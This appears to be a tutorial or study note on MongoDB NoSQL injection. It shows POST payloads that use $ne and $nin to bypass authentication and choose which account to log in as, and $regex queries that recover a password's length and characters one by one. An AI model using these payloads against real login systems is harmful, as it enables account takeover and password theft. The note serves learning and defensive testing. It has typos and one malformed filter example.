Introduction#

  • several db options not based on SQL also exists such as MongoDB, Redis etc..
  • MongoDB allows you retrieve subsets of data in a quick and structured form. Information stored isnot stored on tablesbut rather in documents
  • Filter out only doc with specific last_name: ['last_name' => 'Sandler']
  • Filter docs with gender and last_name: ['gender' => 'male', ['last_name' => 'Sandler']
  • Retrieve docs where age<50: ['age' => ['$lt' => '50']]

No-SQL Injection#

  • Lets say, a web application making a query to MongoDB, using query ['username' => $user, 'password' => $pass], where both $user and $pass are obtained directly from HTTP POST parameters. Let’s take a took at thow we can leverage operator injection in order to bypass authentication.
  • If somehow, we could send an array to the $user and $pass variables with following content.
    $user = ['$ne' => 'xxxx']
    $pass = ['$ne' => 'yyyy']
    # the resulting query looks like
    ['username' => ['$ne' => 'xxxx'], 'password' => ['$ne' => 'yyyy']]
    
  • Data base now tricked into returning any document where username isn’t equal to ‘xxxx’ and pass isn’t equal to ‘yyyy’. This probably return all the documents in the collection.
  • It turns out that PHP and many other languages allow you to pass an array by using notation on POST Request body:
    user[$ne]=xxxx&pass[$ne]=yyyy
    

Log-in as other users#

  • We can only as first user returned by database with above mentioned query in the request.
  • By making use of $nin operator, we are going to modify our payload so that we can control which user we want to obtain.
  • $nin allows us to create filter by specifying desired documents have somefield, not in a list of values.
    user[$nin][]=admin&pass[$ne]=aweasdf&remember=on
    #this translates to
    ['username' => ['$nin' => ['admin']], 'password' => ['$ne' => 'aweadsf']]
    
    user[$nin][]=admin&user[$nin][]=jude&pass[$ne]=aweasdf&remember=on
    # this translates to
    ['username' => ['$nin' => ['admin', 'jude']], 'password' => ['$ne' => 'aweadsf']]
    
  • $nin receives list of values to ignore. We can continue to expand the list by adjusting our payload as above.

Extracting User’s Passwords#

  • Its important to extract the actual passwords in use as they might be reused in other services. To accomplish this we will be abusing the $regex operator to ask a series of questions to the server that allow us to recover the passwords.
  • Take one of the users discovered before and try to guess the length of his password. Asking the db, if there is user with username admin and password that matches the regex ^.{7}$ which basically represents the wildcard for length 7 of word. If server responds with error, password lenght might not be 7.
    user=admin&pass[$regex]=^.{7}$&remember=on
    
  • After some trial and error, we finally arrivedd at right answer. Now we know lenght of password.
    user=admin&pass[$regex]=^.{5}$&remember=on
    
  • Its time to get actual content of pass, we modify our payload as: Asking if admin’s pass matches ^c....$, which means it starts with a lowercase c, followed by 4 characters. If server response is invalid login, we will get to know that first letter may not be c.
    user=admin&pass[$regex]=^c....$&remember=on
    
  • We continue iterating over all available characters until we get a successful response from the server. The same process can be repeated for the other letters until the full password is recovered.